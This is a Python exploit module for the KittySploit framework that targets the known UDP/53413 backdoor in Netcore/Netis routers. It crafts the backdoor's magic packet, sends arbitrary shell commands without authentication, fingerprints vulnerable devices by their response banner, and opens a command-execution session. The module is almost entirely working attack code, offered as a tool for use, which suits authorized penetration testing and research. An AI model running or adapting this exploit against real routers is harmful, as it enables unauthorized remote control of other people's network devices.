Netcore/Netis UDP/53413 Backdoor RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Netcore/Netis UDP/53413 backdoor RCE — opens execute session."""

import socket

from kittysploit import *
from lib.exploit.handler import Handler


class Module(Exploit, Handler):
    __info__ = {
        'name': 'Netcore/Netis UDP/53413 Backdoor RCE',
        'description': (
            'Exploits the Netcore/Netis UDP backdoor on port 53413 for '
            'unauthenticated remote command execution.'
        ),
        'author': ['Tim Yeh (Trend Micro)', 'KittySploit Team'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://www.seebug.org/vuldb/ssvid-90227',
            'http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/',
        ],
        'tags': ['netcore', 'netis', 'router', 'udp', '53413', 'backdoor', 'rce', 'iot'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    port = OptPort(53413, 'UDP backdoor port', required=True)

    def _send(self, data: bytes) -> bytes:
        host = str(self.target)
        port = int(self.port or 53413)
        timeout = float(self.timeout or 10)
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(timeout)
        try:
            sock.sendto(data, (host, port))
            return sock.recv(1024)
        except socket.timeout:
            return b''
        finally:
            sock.close()

    def execute(self, cmd: str) -> str:
        payload = b'AA\x00\x00AAAA' + cmd.encode('utf-8') + b'\x00'
        response = self._send(payload)
        if not response:
            return ''
        return response[8:].decode('utf-8', errors='replace')

    def check(self):
        response = self._send(b'\x00' * 8)
        if not response:
            return {'vulnerable': False, 'reason': 'No UDP response', 'confidence': 'medium'}
        if response.endswith(b'\xD0\xA5Login:') or response.endswith(
            b'\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x01\x00\x00'
        ):
            return {'vulnerable': True, 'reason': 'UDP/53413 backdoor banner', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Unexpected UDP response', 'confidence': 'medium'}

    def check_execute(self) -> bool:
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        print_success('UDP/53413 command execution confirmed')
        return self.handler_execute()